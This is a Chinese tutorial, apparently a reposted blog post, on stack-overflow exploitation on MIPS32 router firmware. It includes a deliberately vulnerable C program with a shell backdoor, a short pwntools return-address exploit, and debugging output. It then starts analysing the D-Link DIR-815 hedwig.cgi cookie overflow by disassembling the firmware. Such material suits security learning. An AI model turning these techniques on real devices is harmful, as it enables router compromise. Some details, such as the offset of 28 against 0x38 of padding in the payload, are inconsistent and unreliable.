路由器破解初探之栈溢出漏洞利用
2019-11-25 10:23:20 Author: xz.aliyun.com(查看原文) 阅读量:238 收藏

欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ==

缓冲区溢出漏洞是很常见的漏洞,广泛存在于各个软件中,相信在学习pwn的过程中,大多数pwn师傅第一个学会的就是栈溢出的利用了,本文将介绍如何在MIPS32架构中利用栈溢出漏洞

因为不是本文讨论重点,这里仅做简单描述

寄存器

1.通用寄存器

zero -> 值始终为0
$at -> 保留寄存器
$v0-$v1 -> 保存表达式或者程序返回结果
$a0-$v3 -> 函数调用的前四个参数
$t0-t7 -> 临时寄存器
$s0-$s7 -> 保存函数调用期间必须保存的原值
$t8-$t9 -> 临时寄存器,拓展t0-t7
$k0-$k1 -> 保留,中断处理函数使用
$gp -> 全局指针
$sp -> 栈顶指针
$fp -> 保存栈指针
$ra -> 保存返回地址
  1. 特殊寄存器
    PC -> 程序计数器
    HI -> 乘除结果高位寄存器
    LO -> 乘除结果低位寄存器
    ## 基本指令
  2. LOAD/STORE指令

    lb,lbu,lh,lhu,ll,lw,lwl,lwr,sb,sc,sh,sw,swl,swr,move

    其中以l开头为加载,s开头为存储,其中move指令用于寄存器之间的值传递

  3. 算术运算指令

    add,addi,addiu,addiu,sub,subu,clo,clz,slt,slti,sltiu,sltu,mul,mult,multu,madd,msub,msubu,div,divu

    3.类比较指令

    slt,slti,sltiu,sltu
  4. SYSCALL

依旧是软中断,用于执行系统调用

在平常的linux pwn中我们遇到的系统架构多为x86体系,但在路由器的嵌入式系统中,很大一部分都是MIPS指令系统,而这两个系统在很多方面都有差异,这里主介绍我们利用漏洞所需要注意几个方面

  1. MIPS32架构中是没有EBP寄存器的,他在进入函数时是将当前栈指针向下移动n比特到该函数的stack frame存储空间,函数返回时再加上偏移量恢复栈指针

  2. 因为第一点的原因,寄存器出入栈时都需要指定偏移量

  3. 传参过程中,前四个参数$a0-$a3,多余的会保存在调用函数的预留的栈顶空间内

  4. MIPS调用函数时会把函数的返回地址直接存入$RA寄存器

函数调用

在MIPS32架构中,函数被分为两种即叶子函数和非叶子函数。所谓叶子函数就是在该函数中不再调用其他函数的函数,反之,有其他函数调用的即是非叶子函数

举个栗子

void A(int *a,int *b)
{
    int tmp(0);
    tmp=a;
    a=b;
    b=tmp;
}

void B()
{
    int a(0),b(13);
    A(a,b);
}

上面的A就是叶子函数,B为非叶子函数,而这两种函数在调用时也有很大区别:

拿上面的B来说好了,B函数在执行到第二行时即调用A函数时,先复制$PC寄存器的值到$RA,然后跳转到A函数,因为A是叶子函数,所以返回B的地址依然在$RA中,但如果是非叶子函数,呢么会将返回B的地址存在堆栈中
而在函数返回的时候,因为A是叶子函数,因此就直接用"jr $ra"返回B,否则先从堆栈中取出返回值,存到$ra中,后面的步骤就和叶子函数相同了

我们知道函数被分为了叶子函数和非叶子函数,他们的函数调用过程也不尽相同,因此在分析溢出时也要分为叶子函数和非叶子函数了分析

非叶子函数

从函数调用过程中我们知道在调用非叶子函数时,会把返回地址存入堆栈,因此我们拿一个简单的例子来说

#include<stdio.h>

void backdoor()
{
    system("/bin/sh");
}

void vlun()
{
    char dst[20]={0};
    read(0,&dst,1000);
}

void main()
{
    vlun();
    exit();
}

我们编译一下:

mips-linux-gcc no_leaf.c -static -o no_leaf

这里我们反编译一下程序

main函数

**************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         v0:1           <RETURN>
             undefined4        Stack[-0x4]:4  local_4                                 XREF[1]:     00400438(W)  
             undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     0040043c(W)  
                             main                                            XREF[3]:     Entry Point(*), 
                                                                                          __start:00400188(*), 0041f200(*)  
        00400434 e0 ff bd 27     addiu      sp,sp,-0x20
        00400438 1c 00 bf af     sw         ra,local_4(sp)
        0040043c 18 00 be af     sw         s8,local_8(sp)
        00400440 25 f0 a0 03     or         s8,sp,zero
        00400444 f1 00 10 0c     jal        vlun                                             undefined vlun()
        00400448 00 00 00 00     _nop
        0040044c 00 00 00 00     nop
        00400450 25 e8 c0 03     or         sp,s8,zero
        00400454 1c 00 bf 8f     lw         ra,0x1c(sp)
        00400458 18 00 be 8f     lw         s8,0x18(sp)
        0040045c 20 00 bd 27     addiu      sp,sp,0x20
        00400460 08 00 e0 03     jr         ra

vuln函数

**************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined vlun()
             undefined         v0:1           <RETURN>
             undefined4        Stack[-0x4]:4  local_4                                 XREF[1]:     004003c8(W)  
             undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     004003cc(W)  
             undefined4        Stack[-0x28]:4 local_28                                XREF[1]:     004003dc(W)  
                             vlun                                            XREF[2]:     Entry Point(*), main:00400444(c)  
        004003c4 c8 ff bd 27     addiu      sp,sp,-0x38
        004003c8 34 00 bf af     sw         ra,local_4(sp)
        004003cc 30 00 be af     sw         s8,local_8(sp)
        004003d0 25 f0 a0 03     or         s8,sp,zero
        004003d4 42 00 1c 3c     lui        gp,0x42
        004003d8 e0 71 9c 27     addiu      gp=>_gp,gp,0x71e0
        004003dc 10 00 bc af     sw         gp=>_gp,local_28(sp)
        004003e0 18 00 c0 af     sw         zero,0x18(s8)
        004003e4 1c 00 c0 af     sw         zero,0x1c(s8)
        004003e8 20 00 c0 af     sw         zero,0x20(s8)
        004003ec 24 00 c0 af     sw         zero,0x24(s8)
        004003f0 28 00 c0 af     sw         zero,0x28(s8)
        004003f4 e8 03 06 24     li         a2,0x3e8
        004003f8 18 00 c2 27     addiu      v0,s8,0x18
        004003fc 25 28 40 00     or         a1,v0,zero
        00400400 25 20 00 00     or         a0,zero,zero
        00400404 34 80 82 8f     lw         v0,-0x7fcc(gp)=>->read                           = 004004ac
        00400408 25 c8 40 00     or         t9,v0,zero
        0040040c 27 00 11 04     bal        read                                             ssize_t read(int __fd, void * __
        00400410 00 00 00 00     _nop
        00400414 10 00 dc 8f     lw         gp,0x10(s8)
        00400418 00 00 00 00     nop
        0040041c 25 e8 c0 03     or         sp,s8,zero
        00400420 34 00 bf 8f     lw         ra,0x34(sp)
        00400424 30 00 be 8f     lw         s8,0x30(sp)
        00400428 38 00 bd 27     addiu      sp,sp,0x38
        0040042c 08 00 e0 03     jr         ra
        00400430 00 00 00 00     _nop

可以看到因为是非叶子函数,因此我们计算完偏移后可以直接使用ret2text的办法来完成利用
这里简单提一下gdb调试mips架构的方法,我这里安装了pwndbg插件,并且需要安装gdb-multiarch
调试方法如下:

  1. qemu调起程序
    qemu-mipsel -g 9981 -L mipsel-linux-gnu ./no_leaf
  2. gdb-multiarc attach调试
    set architecture mips
    target remote localhost:9981

然后就可以进行基本调试了

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 V0   0x0
 V1   0x0
 A0   0x0
 A1   0x0
 A2   0x0
 A3   0x0
 T0   0x0
 T1   0x0
 T2   0x0
 T3   0x0
 T4   0x0
 T5   0x0
 T6   0x0
 T7   0x0
 T8   0x0
 T9   0x0
 S0   0x0
 S1   0x0
 S2   0x0
 S3   0x0
 S4   0x0
 S5   0x0
 S6   0x0
 S7   0x0
 S8   0x0
 FP   0x0
 SP   0x76ffefb0 ◂— 0x1
 PC   0x400170 ◂— move   $zero, $ra /* '%' */
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
 ► 0x400170    move   $zero, $ra
   0x400174    bal    0x40017c
   0x400178    nop    
   0x40017c    lui    $gp, 0x42
   0x400180    addiu  $gp, $gp, 0x71e0
   0x400184    move   $ra, $zero
   0x400188    lw     $a0, -0x7fe0($gp)
   0x40018c    lw     $a1, ($sp)
   0x400190    addiu  $a2, $sp, 4
   0x400194    addiu  $at, $zero, -8
   0x400198    and    $sp, $sp, $at
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ sp  0x76ffefb0 ◂— 0x1
01:0004│     0x76ffefb4 —▸ 0x76fff16a ◂— './no_leaf'
02:0008│     0x76ffefb8 ◂— 0x0
03:000c│     0x76ffefbc —▸ 0x76fff174 ◂— '_=/usr/bin/qemu-mipsel'
04:0010│     0x76ffefc0 —▸ 0x76fff18b ◂— 'LC_CTYPE=en_US.UTF-8'
05:0014│     0x76ffefc4 —▸ 0x76fff1a0 ◂— 0x435f534c ('LS_C')
06:0018│     0x76ffefc8 —▸ 0x76fff728 ◂— 'LSCOLORS=Gxfxcxdxbxegedabagacad'
07:001c│     0x76ffefcc —▸ 0x76fff748 ◂— 'LESS=-R'
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
 ► f 0   400170

这里就用简单的cyclic指令生成一串字符串来测试偏移

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

输入字符串后程序崩溃

可以看到pwndbg里输出

Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 V0   0xc9
 V1   0x0
 A0   0x0
 A1   0x76ffee28 ◂— 0x61616161 ('aaaa')
 A2   0x3e8
 A3   0x0
 T0   0x81010303
 T1   0x666165
 T2   0x2f494e4a ('JNI/')
 T3   0xffffffff
 T4   0x0
 T5   0x0
 T6   0x0
 T7   0x0
 T8   0x9
 T9   0x400470 ◂— lui    $gp, 2
 S0   0x0
 S1   0x41f000 ◂— 0xffffffff
 S2   0x0
 S3   0x0
 S4   0x0
 S5   0x0
 S6   0x0
 S7   0x0
 S8   0x61616167 ('gaaa')
 FP   0x76ffee48 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
 SP   0x76ffee48 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
 PC   0x61616168 ('haaa')
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x61616168
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ fp sp  0x76ffee48 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
01:0004│        0x76ffee4c ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
02:0008│        0x76ffee50 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
03:000c│        0x76ffee54 ◂— 'laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
04:0010│        0x76ffee58 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
05:0014│        0x76ffee5c ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
06:0018│        0x76ffee60 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
07:001c│        0x76ffee64 ◂— 'paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
 ► f 0 61616168
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV

利用cyclic -l查看偏移可以得到偏移量为28

pwndbg> cyclic -l 0x61616168
28

exp和正常的pwn没什么区别,
本例exp如下

from pwn import *
p=process("./no_leaf")
payload='a'*0x38+p32(0x400370)
p.sendline(payload)
p.interactive()

叶子函数

在上述的介绍中可以知道,叶子函数是不存在堆栈上的,他会将返回地址存在$ra指针中,因此叶子函数的栈溢出并不好利用,但是在可以大量溢出的情况下,我们还是可以利用叶子函数的溢出的

rop的使用

在做正常的pwn题时,构造rop链是一种非常具有杀伤力的攻击手段,在mips架构中自然也不逞多让,平常我们构造rop链可以通过ropgadget来自动化搜索gadget,而mips架构中也有一个很好用的搜索gadget的插件,即使用IDA的mipsgadget插件

注:本插件适用于IDA6.8,但IDA7.0其实也有大师傅写了相应的脚本

使用方法:

mipsrop.help()           帮助菜单
mipsrop.doubles()        打印一系列函数调用gadget
mipsrop.stackfinder()    寻找栈数据可控的 rop,放到寄存器中
mipsrop.summary()        列出所有的可用 rop
mipsrop.system()         列出用于执行system函数
mipsrop.find(xxx)        查找特定rop
mipsrop.tails()          列出将栈上的数据保存在$ra等寄存器中的rop

具体rop的使用和正常的pwn利用没有什么特别大的区别,这里也不再过多阐述

简单shellcode的编写思路

我这里记录下我平时写shellcode所用的方法

首先用c语言完成所需的程序,然后利用gcc生成文件
然后可以用objdump来进行反汇编,看一下是否会有坏指令,如果有就根据汇编文件自己修改一下,没有就直接用(想多
根据反汇编代码来自己写一下汇编代码,然后根据需求修改到字节数大小满足,没有截断就结束:)
然后objcopy一步到位

实例分析(D-LINK DIR-815多次溢出)

漏洞细节

D-Link Devices - 'hedwig.cgi' Remote Buffer Overflow in Cookie Header

https://www.exploit-db.com/exploits/33863

虽然D-link官网只说明645版本会收到影响,但其实815,300,615也会有

固件下载地址:

ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

漏洞分析

我们根据公布漏洞的题目可以看出bug是出在'hedwig.cgi'文件内,而漏洞的成因是因为cookie过长可以导致栈溢出

下载完成后进行固件的提取,这里我们直接用binwalk就可以直接提取

binwalk -e DIR-815.bin

然后进入 squashfs-root文件夹下就可以看到熟悉的内容了

~/iot/real/D-LINK815栈溢出/dir815_FW_101/_DIR-815.bin.extracted/squashfs-root  ls
bin  dev  etc  home  htdocs  lib  mnt  proc  sbin  sys  tmp  usr  var  www

这时我们直接使用find命令搜索hedwig.cgi的位置即可

find ./ -name 'hedwig.cgi'
./htdocs/web/hedwig.cgi

这时我们看看该文件是什么

~/iot/real/D-LINK815栈溢出/dir815_FW_101/_DIR-815.bin.extracted/squashfs-root/htdocs/web  ls -l hedwig.cgi 
lrwxrwxrwx 1 nightrainy nightrainy 14 Nov  8 17:52 hedwig.cgi -> /htdocs/cgibin

可以看到这个文件是指向cgibin的符号链接,下面我们就对该文件进行反汇编分析,由于是cookie导致的溢出,那么我们就直接对cookie进行分析,我们可以通过查询字符串来定位函数位置,这里我使用的是ghidra,当然,IDA也是一样的效果
可以搜索到字符串的函数应该是sess_get_uid函数,反汇编代码如下:

**************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined sess_get_uid()
                               assume gp = 0x4346d0
                               assume t9 = 0x407c98
             undefined         v0:1           <RETURN>

                             sess_get_uid                                    XREF[9]:     Entry Point(*), 
                                                                                          phpcgi_main:00405498(c), 
                                                                                          authentication:0040825c(c), 
                                                                                          sess_generate_captcha:0040861c(c
                                                                                          sess_validate:004087b0(c), 
                                                                                          sess_logout:0040893c(c), 
                                                                                          hedwigcgi_main:00409648(c), 
                                                                                          pigwidgeoncgi_main:00409c44(c), 
                                                                                          0042c714(*)  
        00407c98 43 00 1c 3c     lui        gp,0x43
             assume t9 = <UNKNOWN>
             assume gp = <UNKNOWN>
        00407c9c c0 ff bd 27     addiu      sp,sp,-0x40
        00407ca0 d0 46 9c 27     addiu      gp,gp,0x46d0
        00407ca4 3c 00 bf af     sw         ra,local_4(sp)
        00407ca8 38 00 be af     sw         s8,local_8(sp)
        00407cac 34 00 b7 af     sw         s7,local_c(sp)
        00407cb0 30 00 b6 af     sw         s6,local_10(sp)
        00407cb4 2c 00 b5 af     sw         s5,local_14(sp)
        00407cb8 28 00 b4 af     sw         s4,local_18(sp)
        00407cbc 24 00 b3 af     sw         s3,local_1c(sp)
        00407cc0 20 00 b2 af     sw         s2,local_20(sp)
        00407cc4 1c 00 b1 af     sw         s1,local_24(sp)
        00407cc8 18 00 b0 af     sw         s0,local_28(sp)
        00407ccc 10 00 bc af     sw         gp=>_gp,local_30(sp)
        00407cd0 f4 80 99 8f     lw         t9,-0x7f0c(gp)=>->sobj_new                       = 0040f560
        00407cd4 00 00 00 00     nop
        00407cd8 09 f8 20 03     jalr       t9=>sobj_new                                     undefined sobj_new()
        00407cdc 21 b0 80 00     _move      s6,a0
        00407ce0 10 00 bc 8f     lw         gp,local_30(sp)
        00407ce4 00 00 00 00     nop
        00407ce8 f4 80 99 8f     lw         t9,-0x7f0c(gp)=>->sobj_new                       = 0040f560
        00407cec 00 00 00 00     nop
        00407cf0 09 f8 20 03     jalr       t9=>sobj_new                                     undefined sobj_new()
        00407cf4 21 90 40 00     _move      s2,v0
        00407cf8 10 00 bc 8f     lw         gp,local_30(sp)
        00407cfc 42 00 04 3c     lui        a0,0x42
        00407d00 dc 82 99 8f     lw         t9,-0x7d24(gp)=>->getenv                         = 004194b0
        00407d04 cc a5 84 24     addiu      a0=>s_HTTP_COOKIE_0041a5cc,a0,-0x5a34            = "HTTP_COOKIE"
        00407d08 09 f8 20 03     jalr       t9=>getenv                                       char * getenv(char * __name)
        00407d0c 21 98 40 00     _move      s3,v0
        00407d10 10 00 bc 8f     lw         gp,local_30(sp)
        00407d14 72 00 40 12     beq        s2,zero,LAB_00407ee0
        00407d18 42 00 04 3c     _lui       a0,0x42
        00407d1c 70 00 60 12     beq        s3,zero,LAB_00407ee0
        00407d20 00 00 00 00     _nop
        00407d24 6e 00 40 10     beq        v0,zero,LAB_00407ee0
        00407d28 21 a0 40 00     _move      s4,v0
        00407d2c 21 88 00 00     clear      s1
        00407d30 3b 00 15 24     li         s5,0x3b
        00407d34 03 00 1e 24     li         s8,0x3
        00407d38 3b 00 00 10     b          LAB_00407e28
        00407d3c 20 00 17 24     _li        s7,0x20
                             LAB_00407d40                                    XREF[1]:     00407e30(j)  
        00407d40 1b 00 22 12     beq        s1,v0,LAB_00407db0
        00407d44 02 00 22 2a     _slti      v0,s1,0x2
        00407d48 05 00 40 10     beq        v0,zero,LAB_00407d60
        00407d4c 00 00 00 00     _nop
        00407d50 0a 00 20 12     beq        s1,zero,LAB_00407d7c
        00407d54 00 00 00 00     _nop
        00407d58 33 00 00 10     b          LAB_00407e28
        00407d5c 01 00 94 26     _addiu     s4,s4,0x1
                             LAB_00407d60                                    XREF[1]:     00407d48(j)  
        00407d60 02 00 02 24     li         v0,0x2
        00407d64 1d 00 22 12     beq        s1,v0,LAB_00407ddc
        00407d68 00 00 00 00     _nop
        00407d6c 2d 00 3e 16     bne        s1,s8,LAB_00407e24
        00407d70 42 00 05 3c     _lui       a1,0x42
        00407d74 24 00 00 10     b          LAB_00407e08
        00407d78 21 20 40 02     _move      a0,s2
                             LAB_00407d7c                                    XREF[1]:     00407d50(j)  
        00407d7c 29 00 17 12     beq        s0,s7,LAB_00407e24
        00407d80 00 00 00 00     _nop
        00407d84 74 81 99 8f     lw         t9,-0x7e8c(gp)=>->sobj_free                      = 0040e6b8
        00407d88 00 00 00 00     nop
        00407d8c 09 f8 20 03     jalr       t9=>sobj_free                                    undefined sobj_free()
        00407d90 21 20 40 02     _move      a0,s2
        00407d94 10 00 bc 8f     lw         gp,local_30(sp)
        00407d98 00 00 00 00     nop
        00407d9c 74 81 99 8f     lw         t9,-0x7e8c(gp)=>->sobj_free                      = 0040e6b8
        00407da0 00 00 00 00     nop
        00407da4 09 f8 20 03     jalr       t9=>sobj_free                                    undefined sobj_free()
        00407da8 21 20 60 02     _move      a0,s3
        00407dac 10 00 bc 8f     lw         gp,local_30(sp)
                             LAB_00407db0                                    XREF[1]:     00407d40(j)  
        00407db0 4e 00 15 12     beq        s0,s5,LAB_00407eec
        00407db4 3d 00 02 24     _li        v0,0x3d
        00407db8 1a 00 02 12     beq        s0,v0,LAB_00407e24
        00407dbc 02 00 11 24     _li        s1,0x2
        00407dc0 6c 82 99 8f     lw         t9,-0x7d94(gp)=>->sobj_add_char                  = 0040eb08
        00407dc4 21 28 00 02     move       a1,s0
        00407dc8 09 f8 20 03     jalr       t9=>sobj_add_char                                undefined sobj_add_char()
        00407dcc 21 20 40 02     _move      a0,s2
        00407dd0 10 00 bc 8f     lw         gp,local_30(sp)
        00407dd4 13 00 00 10     b          LAB_00407e24
        00407dd8 01 00 11 24     _li        s1,0x1
                             LAB_00407ddc                                    XREF[1]:     00407d64(j)  
        00407ddc 03 00 15 16     bne        s0,s5,LAB_00407dec
        00407de0 21 28 00 02     _move      a1,s0
        00407de4 0f 00 00 10     b          LAB_00407e24
        00407de8 03 00 11 24     _li        s1,0x3
                             LAB_00407dec                                    XREF[1]:     00407ddc(j)  
        00407dec 6c 82 99 8f     lw         t9,-0x7d94(gp)=>->sobj_add_char                  = 0040eb08
        00407df0 00 00 00 00     nop
        00407df4 09 f8 20 03     jalr       t9=>sobj_add_char                                undefined sobj_add_char()
        00407df8 21 20 60 02     _move      a0,s3
        00407dfc 10 00 bc 8f     lw         gp,local_30(sp)
        00407e00 09 00 00 10     b          LAB_00407e28
        00407e04 01 00 94 26     _addiu     s4,s4,0x1
                             LAB_00407e08                                    XREF[1]:     00407d74(j)  
        00407e08 6c 81 99 8f     lw         t9,-0x7e94(gp)=>->sobj_strcmp                    = 0040e4b0
        00407e0c 00 00 00 00     nop
        00407e10 09 f8 20 03     jalr       t9=>sobj_strcmp                                  undefined sobj_strcmp()
        00407e14 d8 a5 a5 24     _addiu     a1=>DAT_0041a5d8,a1,-0x5a28                      = 75h    u
        00407e18 10 00 bc 8f     lw         gp,local_30(sp)
        00407e1c 08 00 40 10     beq        v0,zero,LAB_00407e40
        00407e20 21 88 00 00     _clear     s1
                             LAB_00407e24                                    XREF[6]:     00407d6c(j), 00407d7c(j), 
                                                                                          00407db8(j), 00407dd4(j), 
                                                                                          00407de4(j), 00407eec(j)  
        00407e24 01 00 94 26     addiu      s4,s4,0x1
                             LAB_00407e28                                    XREF[3]:     00407d38(j), 00407d58(j), 
                                                                                          00407e00(j)  
        00407e28 00 00 90 82     lb         s0,0x0(s4)
        00407e2c 00 00 00 00     nop
        00407e30 c3 ff 00 16     bne        s0,zero,LAB_00407d40
        00407e34 01 00 02 24     _li        v0,0x1
        00407e38 22 00 00 10     b          LAB_00407ec4
        00407e3c 42 00 05 3c     _lui       a1,0x42
                             LAB_00407e40                                    XREF[2]:     00407e1c(j), 00407ed8(j)  
        00407e40 9c 82 99 8f     lw         t9,-0x7d64(gp)=>->sobj_get_string                = 0040e1cc
        00407e44 21 20 60 02     move       a0,s3
                             LAB_00407e48                                    XREF[1]:     00407ee4(j)  
        00407e48 09 f8 20 03     jalr       t9=>getenv                                       undefined sobj_get_string()
                                                                                             char * getenv(char * __name)
        00407e4c 00 00 00 00     _nop
        00407e50 10 00 bc 8f     lw         gp,local_30(sp)
        00407e54 21 20 c0 02     move       a0,s6
        00407e58 78 80 99 8f     lw         t9,-0x7f88(gp)=>->sobj_add_string                = 0040e8f0
        00407e5c 00 00 00 00     nop
        00407e60 09 f8 20 03     jalr       t9=>sobj_add_string                              undefined sobj_add_string()
        00407e64 21 28 40 00     _move      a1,v0
        00407e68 10 00 bc 8f     lw         gp,local_30(sp)
        00407e6c 06 00 40 12     beq        s2,zero,LAB_00407e88
        00407e70 00 00 00 00     _nop
        00407e74 0c 83 99 8f     lw         t9,-0x7cf4(gp)=>->sobj_del                       = 0040e724
        00407e78 00 00 00 00     nop
        00407e7c 09 f8 20 03     jalr       t9=>sobj_del                                     undefined sobj_del()
        00407e80 21 20 40 02     _move      a0,s2
        00407e84 10 00 bc 8f     lw         gp,local_30(sp)
                             LAB_00407e88                                    XREF[1]:     00407e6c(j)  
        00407e88 1a 00 60 12     beq        s3,zero,LAB_00407ef4
        00407e8c 21 20 60 02     _move      a0,s3
        00407e90 0c 83 99 8f     lw         t9,-0x7cf4(gp)=>->sobj_del                       = 0040e724
        00407e94 3c 00 bf 8f     lw         ra,local_4(sp)
        00407e98 38 00 be 8f     lw         s8,local_8(sp)
        00407e9c 34 00 b7 8f     lw         s7,local_c(sp)
        00407ea0 30 00 b6 8f     lw         s6,local_10(sp)
        00407ea4 2c 00 b5 8f     lw         s5,local_14(sp)
        00407ea8 28 00 b4 8f     lw         s4,local_18(sp)
        00407eac 24 00 b3 8f     lw         s3,local_1c(sp)
        00407eb0 20 00 b2 8f     lw         s2,local_20(sp)
        00407eb4 1c 00 b1 8f     lw         s1,local_24(sp)
        00407eb8 18 00 b0 8f     lw         s0,local_28(sp)
        00407ebc 08 00 20 03     jr         t9=>sobj_del
        00407ec0 40 00 bd 27     _addiu     sp,sp,0x40
                             LAB_00407ec4                                    XREF[1]:     00407e38(j)  
        00407ec4 6c 81 99 8f     lw         t9,-0x7e94(gp)=>->sobj_strcmp                    = 0040e4b0
        00407ec8 d8 a5 a5 24     addiu      a1=>DAT_0041a5d8,a1,-0x5a28                      = 75h    u
        00407ecc 09 f8 20 03     jalr       t9=>sobj_strcmp                                  undefined sobj_strcmp()
        00407ed0 21 20 40 02     _move      a0,s2
        00407ed4 10 00 bc 8f     lw         gp,local_30(sp)
        00407ed8 d9 ff 40 10     beq        v0,zero,LAB_00407e40
        00407edc 42 00 04 3c     _lui       a0,0x42
                             LAB_00407ee0                                    XREF[3]:     00407d14(j), 00407d1c(j), 
                                                                                          00407d24(j)  
        00407ee0 dc 82 99 8f     lw         t9,-0x7d24(gp)=>->getenv                         = 004194b0
        00407ee4 d8 ff 00 10     b          LAB_00407e48
        00407ee8 dc a5 84 24     _addiu     a0=>s_REMOTE_ADDR_0041a5dc,a0,-0x5a24            = "REMOTE_ADDR"
                             LAB_00407eec                                    XREF[1]:     00407db0(j)  
        00407eec cd ff 00 10     b          LAB_00407e24
        00407ef0 21 88 00 00     _clear     s1
                             LAB_00407ef4                                    XREF[1]:     00407e88(j)  
        00407ef4 3c 00 bf 8f     lw         ra,local_4(sp)
        00407ef8 38 00 be 8f     lw         s8,local_8(sp)
        00407efc 34 00 b7 8f     lw         s7,local_c(sp)
        00407f00 30 00 b6 8f     lw         s6,local_10(sp)
        00407f04 2c 00 b5 8f     lw         s5,local_14(sp)
        00407f08 28 00 b4 8f     lw         s4,local_18(sp)
        00407f0c 24 00 b3 8f     lw         s3,local_1c(sp)
        00407f10 20 00 b2 8f     lw         s2,local_20(sp)
        00407f14 1c 00 b1 8f     lw         s1,local_24(sp)
        00407f18 18 00 b0 8f     lw         s0,local_28(sp)
        00407f1c 08 00 e0 03     jr         ra
        00407f20 40 00 bd 27     _addiu     sp,sp,0x40

分析过程中并未发现漏洞出现在哪里,随即查看下哪些函数调用了这个函数,终于在hedwigcgi_main函数中发现了可能会导致栈溢出的危险函数sprintf,这部分的代码如下:

0040963c 42 00 02 3c     _lui       v0,0x42
        00409640 44 80 99 8f     lw         t9,-0x7fbc(gp)=>->sess_get_uid                   = 00407c98
        00409644 00 00 00 00     nop
        00409648 09 f8 20 03     jalr       t9=>sess_get_uid                                 undefined sess_get_uid()
        0040964c 21 20 a0 02     _move      a0,s5
        00409650 10 00 bc 8f     lw         gp,local_4d8(sp)
        00409654 00 00 00 00     nop
        00409658 9c 82 99 8f     lw         t9,-0x7d64(gp)=>->sobj_get_string                = 0040e1cc
        0040965c 00 00 00 00     nop
        00409660 09 f8 20 03     jalr       t9=>sobj_get_string                              undefined sobj_get_string()
        00409664 21 20 a0 02     _move      a0,s5
        00409668 10 00 bc 8f     lw         gp,local_4d8(sp)
        0040966c 42 00 05 3c     lui        a1,0x42
        00409670 d0 80 99 8f     lw         t9,-0x7f30(gp)=>->sprintf                        = 004197f0
        00409674 21 38 40 00     move       a3,v0
        00409678 21 30 40 02     move       a2=>s_/runtime/session_0041a5b8,s2               = "/runtime/session"
        0040967c 60 a8 a5 24     addiu      a1=>s_%s/%s/postxml_0041a860,a1,-0x57a0          = "%s/%s/postxml"
        00409680 09 f8 20 03     jalr       t9=>sprintf                                      int sprintf(char * __s, char * _

推测可能就是因为sprintf函数导致最终的栈溢出,下面我们对猜测进行验证

